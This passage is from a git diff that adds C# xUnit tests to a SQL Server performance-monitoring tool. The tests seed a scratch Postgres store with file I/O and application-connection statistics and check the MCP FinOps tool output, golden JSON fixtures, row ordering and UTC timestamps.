+            /* A server with no file I/O row ever: the never-collected answer is about the server, filtered or not, and carries
+               the echo so a client reads which databases the call was limited to. */
+            var never = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, EmptyServerName, 1, asOf, null, DatabaseFilter.Of([DbA, DbB]), TrendBudget.Chart, ct)).RootElement;
+            Assert.NotEqual("empty", never.GetProperty("status").GetString());
+            Assert.Equal("the chosen databases", never.GetProperty("database_name").GetString());
+            var neverAll = JsonDocument.Parse(await DarlingMcpTrendTools.GetFileIoTrend(
+                postgres, EmptyServerName, 1, asOf, null, DatabaseFilter.All, TrendBudget.Chart, ct)).RootElement;
+            Assert.Equal(never.GetProperty("status").GetString(), neverAll.GetProperty("status").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// Seeds two servers (the second has no file I/O row) and returns the window end (now). Two older captures (30 and 20
+    /// minutes back) hold every database: A (a1.mdf ROWS, a2.ldf LOG), B (b1.mdf ROWS, B the heaviest stall of the three), C
+    /// (c1.mdf ROWS, the heaviest of all), seven one-file "crowd" databases (stall rising with the number) and one database
+    /// (FioMany) with seven files m1..m7 (stall rising with the number). The newest capture (5 minutes back) holds A and C
+    /// only, so B has rows in the window but none in the newest snapshot.
+    /// </summary>
+    internal static async Task<DateTime> SeedAsync(string cs, CancellationToken ct)
+    {
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, EmptyServerId, EmptyServerName, ct);
+
+        var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+        foreach (var minutesBack in new[] { 30, 20 })
+        {
+            var at = DarlingMcpTestData.Naive(end.AddMinutes(-minutesBack));
+            await SeedFileAsync(connection, ct, at, DbA, "a1.mdf", "ROWS", 100, 10, 1_000, 100);
+            await SeedFileAsync(connection, ct, at, DbA, "a2.ldf", "LOG", 0, 50, 0, 500);
+            await SeedFileAsync(connection, ct, at, DbB, "b1.mdf", "ROWS", 50, 10, 5_000, 100);
+            await SeedFileAsync(connection, ct, at, DbC, "c1.mdf", "ROWS", 100, 10, 90_000, 100);
+            for (var i = 1; i <= 7; i++)
+            {
+                await SeedFileAsync(connection, ct, at, Crowd(i), "crowd" + i + ".mdf", "ROWS", 10, 1, i * 100, 10);
+                await SeedFileAsync(connection, ct, at, DbMany, "m" + i + ".mdf", "ROWS", 10, 1, i * 10, 1);
+            }
+        }
+
+        var newest = DarlingMcpTestData.Naive(end.AddMinutes(-5));
+        await SeedFileAsync(connection, ct, newest, DbA, "a1.mdf", "ROWS", 100, 10, 1_000, 100);
+        await SeedFileAsync(connection, ct, newest, DbA, "a2.ldf", "LOG", 0, 50, 0, 500);
+        await SeedFileAsync(connection, ct, newest, DbC, "c1.mdf", "ROWS", 100, 10, 90_000, 100);
+        return end;
+    }
+
+    private static async Task SeedFileAsync(
+        NpgsqlConnection connection, CancellationToken ct, DateTime t, string database, string file, string fileType,
+        long reads, long writes, long stallRead, long stallWrite) =>
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO file_io_stats
+    (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type,
+     physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
+     delta_stall_read_ms, delta_stall_write_ms, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16)",
+            CollectionIdGenerator.Next(), t, ServerId, ServerName, database, file, fileType,
+            "D:\\data\\" + file, 1000m, reads, writes, reads * 8192, writes * 8192, stallRead, stallWrite, 60);
+
+    internal static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        using var cleanup = new NpgsqlCommand(
+            $"DELETE FROM file_io_stats WHERE server_id IN ({ServerId}, {EmptyServerId}); DELETE FROM servers WHERE server_id IN ({ServerId}, {EmptyServerId});",
+            connection);
+        await cleanup.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsApplicationConnectionsGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsApplicationConnectionsGoldenLiveTests.cs
new file mode 100644
index 0000000000..6e62d6a5d8
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsApplicationConnectionsGoldenLiveTests.cs
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Golden-fixture pin for the FinOps Application Connections read (<c>GetApplicationConnectionsAsync</c>). A
+/// deterministic seeded store is read and the rows are serialized (declaration-order public properties; the UTC times
+/// as minutes from the seed instant) and compared byte for byte with
+/// <c>Fixtures/FinOpsApplicationConnections/golden.json</c>. Set <c>DARLING_WRITE_GOLDEN=1</c> to regenerate it.
+///
+/// <para>The display times (<c>FirstSeenLocal</c>, <c>LastSeenLocal</c>) and the stamped clock are left out of the
+/// fixture: they depend on the viewer's display mode, a process-wide static that other classes change, and on the
+/// machine's zone. They are checked against the UTC instants in a class that owns that static.</para>
+///
+/// <para>The tie on peak connections is compared as a set: the order of tied rows is the engine's, not a contract.</para>
+///
+/// <para>Server A holds: two programs tied on their peak connection count; a NULL program name; programs whose
+/// resource columns are NULL on some rows and on every row; averages that do not divide evenly, so the
+/// <c>CAST(AVG(...) AS INTEGER)</c> rounding shows; and a row just outside the 24-hour window (a program seen only
+/// there is absent, and an outside row of an included program does not move its figures). Server B has no rows.</para>
+/// </summary>
+public sealed class FinOpsApplicationConnectionsGoldenLiveTests
+{
+    internal const string ServerNameA = "darling-finops-appconn-golden-a";
+    internal const string ServerNameB = "darling-finops-appconn-golden-b";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    internal static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+
+    /// <summary>The tie order is the engine's, not a contract: the SQL sorts on <c>max_connections</c> only, so rows that
+    /// tie on it can come back in either order. Both sides are put in (MaxConnections desc, ApplicationName ordinal)
+    /// order before they are compared, which makes a tied run compare as a set.</summary>
+    internal static List<ApplicationConnectionRow> TieStable(List<ApplicationConnectionRow> rows) =>
+        rows.OrderByDescending(r => r.MaxConnections).ThenBy(r => r.ApplicationName, StringComparer.Ordinal).ToList();
+
+    /// <summary>Every row carries its clock, and both display times are the UTC instants converted on that clock in the
+    /// current display mode. The mode is read only, never set (other classes own that static).</summary>
+    private static void AssertDisplayTimes(List<ApplicationConnectionRow> rows)
+    {
+        foreach (var row in rows)
+        {
+            Assert.NotNull(row.Clock);
+            Assert.Equal(ViewerTimeHelper.ConvertToDisplay(row.FirstSeenUtc, ViewerTimeHelper.CurrentDisplayMode, row.Clock), row.FirstSeenLocal);
+            Assert.Equal(ViewerTimeHelper.ConvertToDisplay(row.LastSeenUtc, ViewerTimeHelper.CurrentDisplayMode, row.Clock), row.LastSeenLocal);
+        }
+    }
+
+    /// <summary>Names the row properties that depend on the display mode or the machine zone (left out of the fixture).</summary>
+    internal static readonly string[] DisplayOnly = ["FirstSeenLocal", "LastSeenLocal", "Clock"];
+
+    [Fact]
+    public Task ApplicationConnections_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var a = await viewer.GetApplicationConnectionsAsync(ServerIdA, ct);
+            var b = await viewer.GetApplicationConnectionsAsync(ServerIdB, ct);
+            AssertDisplayTimes(a);
+            AssertDisplayTimes(b);
+            return Serialize(anchor, new Dictionary<string, object?> { ["a"] = TieStable(a), ["b"] = TieStable(b) });
+        });
+
+    [Fact]
+    public Task ApplicationConnections_MatchGoldenFixture_ThroughTheStorageReaderAndRowMapper() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            var clock = PerformanceMonitor.Analysis.Baselines.ServerClock.FixedOffset(0);
+            var cutoff = DateTime.UtcNow.AddHours(-24);
+            async Task<List<ApplicationConnectionRow>> Read(int id) =>
+                (await DarlingFinOpsApplicationConnectionsReader.GetApplicationConnectionsAsync(dataSource, id, cutoff, 30, ct))
+                    .ConvertAll(d => ApplicationConnectionRow.From(d, clock));
+            return Serialize(anchor, new Dictionary<string, object?> { ["a"] = TieStable(await Read(ServerIdA)), ["b"] = TieStable(await Read(ServerIdB)) });
+        });
+
+    /// <summary>The mapper converts both times on the clock it is given and keeps the UTC instants and the clock.</summary>
+    [Fact]
+    public void RowMapper_ConvertsOnTheGivenClock_AndKeepsTheUtcInstants()
+    {
+        var clock = PerformanceMonitor.Analysis.Baselines.ServerClock.FixedOffset(120);
+        var first = new DateTime(2026, 5, 1, 10, 0, 0, DateTimeKind.Unspecified);
+        var last = first.AddHours(1);
+        var row = ApplicationConnectionRow.From(new ApplicationConnectionUsage("x", 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, first, last), clock);
+        Assert.Equal(first, row.FirstSeenUtc);
+        Assert.Equal(last, row.LastSeenUtc);
+        Assert.Same(clock, row.Clock);
+        Assert.Equal(ViewerTimeHelper.ConvertToDisplay(first, ViewerTimeHelper.CurrentDisplayMode, clock), row.FirstSeenLocal);
+        Assert.Equal(ViewerTimeHelper.ConvertToDisplay(last, ViewerTimeHelper.CurrentDisplayMode, clock), row.LastSeenLocal);
+    }
+
+    internal static async Task RunAsync(Func<string, DateTime, CancellationToken, Task<string>> read)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps application connections golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        DateTime anchor;
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            anchor = DarlingMcpTestData.Naive(DateTime.UtcNow);
+            await SeedAsync(connection, anchor, ct);
+        }
+
+        AssertGolden(await read(scratch.ConnectionString, anchor, ct));
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, DateTime now, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerNameB, ct);
+
+        /* Orders: connections, running, sleeping, dormant, cpu ms, reads, writes, logical reads (NULL = not collected). */
+        /* Alpha: peak 12 connections. Connections 12, 5, 6 average 7.67 -> 8; running 1, 2, 2 average 1.67 -> 2; the
+           cpu column averages 1000, 1001, NULL (AVG skips the NULL) -> 1000.5 -> 1001 (BIGINT cast of a numeric rounds). */
+        await Row(connection, ct, now.AddHours(-1), "Alpha", 12, 1, 4, 2, 1000, 500, 50, 9000);
+        await Row(connection, ct, now.AddHours(-5), "Alpha", 5, 2, 3, 0, 1001, 501, 51, 9001);
+        await Row(connection, ct, now.AddHours(-9), "Alpha", 6, 2, 4, 1, null, null, null, null);
+        /* One minute inside the edge (-23h59m): the >= side of the cutoff keeps it. */
+        await Row(connection, ct, now.AddHours(-23).AddMinutes(-59), "Edge", 2, 0, 1, 1, 5, 6, 7, 8);
+        /* Just outside the window: it must not move Alpha's figures. */
+        await Row(connection, ct, now.AddHours(-25), "Alpha", 900, 90, 90, 90, 9_999_999, 9_999_999, 9_999_999, 9_999_999);
+        /* Bravo ties Alpha on peak connections (12); its resource columns are NULL on every row. */
+        await Row(connection, ct, now.AddHours(-2), "Bravo", 12, 3, 5, 4, null, null, null, null);
+        await Row(connection, ct, now.AddHours(-3), "Bravo", 1, 0, 1, 0, null, null, null, null);
+        /* Charlie: a single row. */
+        await Row(connection, ct, now.AddHours(-4), "Charlie", 3, 1, 1, 1, 7, 8, 9, 10);
+        /* An unattributed program name. */
+        await Row(connection, ct, now.AddHours(-6), null, 20, 0, 0, 0, 100, 200, 300, 400);
+        await Row(connection, ct, now.AddHours(-7), null, 1, 0, 1, 0, 101, 201, 301, 401);
+        /* Seen only outside the window: absent. */
+        await Row(connection, ct, now.AddHours(-26), "Outside", 50, 5, 5, 5, 1, 1, 1, 1);
+    }
+
+    private static Task Row(NpgsqlConnection c, CancellationToken ct, DateTime at, string? program, long connections,
+        int running, int sleeping, int dormant, long? cpu, long? reads, long? writes, long? logicalReads) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO session_stats (collection_id, collection_time, server_id, server_name, program_name, connection_count,
+                running_count, sleeping_count, dormant_count, total_cpu_time_ms, total_reads, total_writes, total_logical_reads)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, program, connections, running, sleeping, dormant,
+            cpu, reads, writes, logicalReads);
+
+    /// <summary>Serializes the rows as indented JSON: public settable properties in declaration order, the display-only
+    /// ones left out, and each <c>DateTime</c> as whole minutes from the seed instant.</summary>
+    internal static string Serialize(DateTime anchor, object rows)
+    {
+        using var stream = new MemoryStream();
+        using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true, Encoder = System.Text.Encodings.Web.JavaScriptEncoder.UnsafeRelaxedJsonEscaping }))
+        {
+            WriteValue(writer, anchor, rows);
+        }
+        return Encoding.UTF8.GetString(stream.ToArray()).ReplaceLineEndings("\n") + "\n";
+    }
+
+    private static void WriteValue(Utf8JsonWriter writer, DateTime anchor, object? value)
+    {
+        switch (value)
+        {
+            case null: writer.WriteNullValue(); break;
+            case string s: writer.WriteStringValue(s); break;
+            case int i: writer.WriteNumberValue(i); break;
+            case long l: writer.WriteNumberValue(l); break;
+            case DateTime d: writer.WriteNumberValue((long)Math.Round((d - anchor).TotalMinutes)); break;
+            case System.Collections.IDictionary map:
+                writer.WriteStartObject();
+                foreach (System.Collections.DictionaryEntry entry in map)
+                {
+                    writer.WritePropertyName((string)entry.Key);
+                    WriteValue(writer, anchor, entry.Value);
+                }
+                writer.WriteEndObject();
+                break;
+            case System.Collections.IEnumerable list:
+                writer.WriteStartArray();
+                foreach (var item in list) WriteValue(writer, anchor, item);
+                writer.WriteEndArray();
+                break;
+            default:
+                writer.WriteStartObject();
+                foreach (var p in value.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                             .Where(p => p.SetMethod is { IsPublic: true } && !DisplayOnly.Contains(p.Name))
+                             .OrderBy(p => p.MetadataToken))
+                {
+                    writer.WritePropertyName(p.Name);
+                    WriteValue(writer, anchor, p.GetValue(value));
+                }
+                writer.WriteEndObject();
+                break;
+        }
+    }
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsApplicationConnections", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+        {
+            Directory.CreateDirectory(Path.GetDirectoryName(GoldenSourcePath())!);
+            File.WriteAllText(GoldenSourcePath(), actual);
+        }
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsApplicationConnections", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsApplicationConnectionsViewTests.cs b/Darling/Darling.Tests/FinOpsApplicationConnectionsViewTests.cs
new file mode 100644
index 0000000000..85d02af542
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsApplicationConnectionsViewTests.cs
@@ -0,0 +1,329 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+public sealed class FinOpsApplicationConnectionsViewTests
+{
+    [Fact]
+    public void ServedHead_NamesTheView_AndStaysUnderTheTarget()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.Contains("application_connections:", served.Served, StringComparison.Ordinal);
+        Assert.True(served.Served.Length <= 620, $"served head is {served.Served.Length}");
+        Assert.True(DarlingMcpFinOpsTools.ApplicationConnectionsViewLine.Length <= 80);
+    }
+
+    [Fact]
+    public void GuideTail_CarriesTheViewsKeyFacts()
+    {
+        var tail = McpToolGuideTests.Served("get_finops").Tail;
+        Assert.NotNull(tail);
+        Assert.Contains("ordered by peak connections, then average connections, then name", tail, StringComparison.Ordinal);
+        Assert.Contains("rows lists every application up to 500", tail, StringComparison.Ordinal);
+        Assert.Contains("application_count", tail, StringComparison.Ordinal);
+        Assert.Contains("truncated", tail, StringComparison.Ordinal);
+        Assert.Contains("read 0 until the session collector has filled them", tail, StringComparison.Ordinal);
+        Assert.Contains("A program with no name is listed with an empty application_name", tail, StringComparison.Ordinal);
+        Assert.Contains("Averages are whole numbers", tail, StringComparison.Ordinal);
+        Assert.Contains("hours_back is honoured and defaults to 24", tail, StringComparison.Ordinal);
+        Assert.Contains("a limit other than 10 is refused", tail, StringComparison.Ordinal);
+        Assert.Contains("Times are UTC and end in Z", tail, StringComparison.Ordinal);
+        Assert.Contains("No cost fields.", tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ViewsAllowList_ContainsTheView() =>
+        Assert.Contains("application_connections", DarlingMcpFinOpsTools.Views);
+
+    private static ApplicationConnectionUsage Usage(string name, int max, int avg, DateTime first, DateTime last) =>
+        new(name, avg, max, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, first, last);
+
+    [Fact]
+    public void OrderApplicationRows_BreaksEveryTieDeterministically_FromAReversedInput()
+    {
+        var t1 = new DateTime(2026, 10, 1, 8, 0, 0, DateTimeKind.Unspecified);
+        var t2 = t1.AddHours(1);
+        /* Expected order, then fed in reverse so a missing key leaves the wrong row first. The first Alpha was first seen earlier
+           but last seen later, so the last-seen key cannot stand in for the first-seen key. */
+        var expected = new[]
+        {
+            Usage("Alpha", 9, 5, t1, t2.AddHours(1)),
+            Usage("Alpha", 9, 5, t2, t2),
+            Usage("Bravo", 9, 5, t1, t1),
+            Usage("Aaa", 9, 4, t1, t1),
+            Usage("Zzz", 3, 3, t1, t1),
+        };
+        var ordered = DarlingMcpFinOpsTools.OrderApplicationRows(expected.Reverse());
+        Assert.Equal(new[] { "Alpha", "Alpha", "Bravo", "Aaa", "Zzz" }, ordered.Select(r => r.ApplicationName).ToArray());
+        Assert.Equal(new[] { t1, t2, t1, t1, t1 }, ordered.Select(r => r.FirstSeenUtc).ToArray());
+    }
+}
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsApplicationConnectionsViewLiveTests
+{
+    private const string ServerName = "darling-finops-appconn-view-a";
+    private const string EmptyServerName = "darling-finops-appconn-view-b";
+    private const string PostgresServerName = "darling-finops-appconn-view-c";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int EmptyServerId = ServerIdHelper.GetDeterministicHashCode(EmptyServerName);
+    private static readonly int PostgresServerId = ServerIdHelper.GetDeterministicHashCode(PostgresServerName);
+
+    /// <summary>The seed's clock, whole seconds, so a seeded instant has a known literal wire string.</summary>
+    private DateTime seedNow;
+
+    private async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, EmptyServerId, EmptyServerName, ct);
+        await PgTargetFactCollectorTests.RegisterServerAsync(c, PostgresServerId, PostgresServerName, MonitoredEngineKind.Postgres, 16, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+        now = new DateTime(now.Ticks - now.Ticks % TimeSpan.TicksPerSecond, now.Kind);
+        seedNow = now;
+        /* Zulu and Alpha tie on peak (12): Zulu's average (8) is higher, so it leads although its name sorts last. */
+        await Row(c, ct, now.AddHours(-2), "Zulu", 12, 3, 5, 4, 10, 20, 30, 40);
+        await Row(c, ct, now.AddHours(-3), "Zulu", 4, 0, 4, 0, 12, 22, 32, 42);
+        await Row(c, ct, now.AddHours(-2), "Alpha", 12, 3, 5, 4, null, null, null, null);
+        await Row(c, ct, now.AddHours(-3), "Alpha", 1, 0, 1, 0, null, null, null, null);
+        await Row(c, ct, now.AddHours(-4), "Alpha", 2, 0, 2, 0, null, null, null, null);
+        /* Lima and Mike tie on peak and average: the name decides. */
+        await Row(c, ct, now.AddHours(-2), "Mike", 9, 1, 1, 1, 5, 6, 7, 8);
+        await Row(c, ct, now.AddHours(-2), "Lima", 9, 1, 1, 1, 5, 6, 7, 8);
+        /* Quebec: two samples whose sixteen average and peak figures are all different, for the field-by-field fact.
+           Peak 11 ranks it below Zulu and Alpha (12) and above Lima and Mike (9). */
+        await Row(c, ct, now.AddHours(-5), "Quebec", 11, 9, 8, 5, 1000, 5000, 400, 70000);
+        await Row(c, ct, now.AddHours(-4), "Quebec", 3, 3, 12, 1, 3000, 9000, 800, 100000);
+        /* A program with a NULL name (shown with an empty name), and a program seen only outside the window. */
+        await Row(c, ct, now.AddHours(-6), null, 20, 0, 0, 0, 100, 200, 300, 400);
+        await Row(c, ct, now.AddHours(-26), "Outside", 50, 5, 5, 5, 1, 1, 1, 1);
+        return scratch;
+    }
+
+    private static Task Row(NpgsqlConnection c, CancellationToken ct, DateTime at, string? program, long connections,
+        int running, int sleeping, int dormant, long? cpu, long? reads, long? writes, long? logicalReads) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO session_stats (collection_id, collection_time, server_id, server_name, program_name, connection_count,
+                running_count, sleeping_count, dormant_count, total_cpu_time_ms, total_reads, total_writes, total_logical_reads)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, program, connections, running, sleeping, dormant,
+            cpu, reads, writes, logicalReads);
+
+    private static string? Cs()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live application_connections view test.");
+        return cs;
+    }
+
+    private static async Task<string> ExpectedRowsJsonAsync(NpgsqlDataSource ds, CancellationToken ct)
+    {
+        var rows = await DarlingFinOpsApplicationConnectionsReader.GetApplicationConnectionsAsync(
+            ds, ServerId, DateTime.UtcNow.AddHours(-24), 60, ct);
+        return JsonSerializer.Serialize(
+            DarlingMcpFinOpsTools.OrderApplicationRows(rows).Select(DarlingMcpFinOpsTools.ApplicationConnectionsRow).ToList(),
+            McpHelpers.JsonOptions);
+    }
+
+    [Fact]
+    public async Task ToolRows_EqualTheStorageReaderRows_InKeyOrder()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal(6, tool.RootElement.GetProperty("application_count").GetInt32());
+        Assert.False(tool.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.Equal(24, tool.RootElement.GetProperty("hours_back").GetInt32());
+        Assert.Equal(await ExpectedRowsJsonAsync(ds, ct), tool.RootElement.GetProperty("rows").GetRawText());
+        var names = tool.RootElement.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("application_name").GetString()).ToArray();
+        Assert.DoesNotContain("Outside", names);
+        Assert.Equal("", names[0]);
+        /* Alpha's resource columns are NULL in the store, so they read 0 in the row. */
+        var alpha = tool.RootElement.GetProperty("rows").EnumerateArray().Single(r => r.GetProperty("application_name").GetString() == "Alpha");
+        Assert.Equal(0, alpha.GetProperty("max_cpu_time_ms").GetInt64());
+    }
+
+    [Fact]
+    public async Task TiedPeaks_AreOrderedByAverage_ThenByName()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 24, 10, cancellationToken: ct));
+        var names = tool.RootElement.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("application_name").GetString()).ToArray();
+        Assert.Equal(new[] { "", "Zulu", "Alpha", "Quebec", "Lima", "Mike" }, names);
+    }
+
+    [Fact]
+    public async Task Times_EndInZ_AndEqualTheReadersInstants()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 24, 10, cancellationToken: ct));
+        var reader = (await DarlingFinOpsApplicationConnectionsReader.GetApplicationConnectionsAsync(
+            ds, ServerId, DateTime.UtcNow.AddHours(-24), 60, ct)).ToDictionary(r => r.ApplicationName);
+        foreach (var row in tool.RootElement.GetProperty("rows").EnumerateArray())
+        {
+            var first = row.GetProperty("first_seen_utc").GetString()!;
+            var last = row.GetProperty("last_seen_utc").GetString()!;
+            Assert.EndsWith("Z", first, StringComparison.Ordinal);
+            Assert.EndsWith("Z", last, StringComparison.Ordinal);
+            var expected = reader[row.GetProperty("application_name").GetString()!];
+            Assert.Equal(McpHelpers.FormatEffectiveStart(expected.FirstSeenUtc), first);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(expected.LastSeenUtc), last);
+        }
+        /* One row pinned to the literal seed: Quebec's samples sit 5 and 4 hours before the seed clock. */
+        var quebec = tool.RootElement.GetProperty("rows").EnumerateArray().Single(r => r.GetProperty("application_name").GetString() == "Quebec");
+        Assert.Equal(seedNow.AddHours(-5).ToString("yyyy-MM-dd'T'HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture) + ".0000000Z", quebec.GetProperty("first_seen_utc").GetString());
+        Assert.Equal(seedNow.AddHours(-4).ToString("yyyy-MM-dd'T'HH:mm:ss", System.Globalization.CultureInfo.InvariantCulture) + ".0000000Z", quebec.GetProperty("last_seen_utc").GetString());
+    }
+
+    [Fact]
+    public async Task OneSeededProgram_ReadsFieldByField_AgainstLiteralValues()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "application_connections", ServerName, 24, 10, cancellationToken: ct));
+        var q = tool.RootElement.GetProperty("rows").EnumerateArray().Single(r => r.GetProperty("application_name").GetString() == "Quebec");
+        Assert.Equal("Quebec", q.GetProperty("application_name").GetString());
+        Assert.Equal(7, q.GetProperty("avg_connections").GetInt64());
+        Assert.Equal(11, q.GetProperty("max_connections").GetInt64());
+        Assert.Equal(6, q.GetProperty("avg_running").GetInt64());
+        Assert.Equal(9, q.GetProperty("max_running").GetInt64());
+        Assert.Equal(10, q.GetProperty("avg_sleeping").GetInt64());
+        Assert.Equal(12, q.GetProperty("max_sleeping").GetInt64());
+        Assert.Equal(3, q.GetProperty("avg_dormant").GetInt64());
+        Assert.Equal(5, q.GetProperty("max_dormant").GetInt64());
+        Assert.Equal(2000, q.GetProperty("avg_cpu_time_ms").GetInt64());
+        Assert.Equal(3000, q.GetProperty("max_cpu_time_ms").GetInt64());
+        Assert.Equal(7000, q.GetProperty("avg_reads").GetInt64());
+        Assert.Equal(9000, q.GetProperty("max_reads").GetInt64());
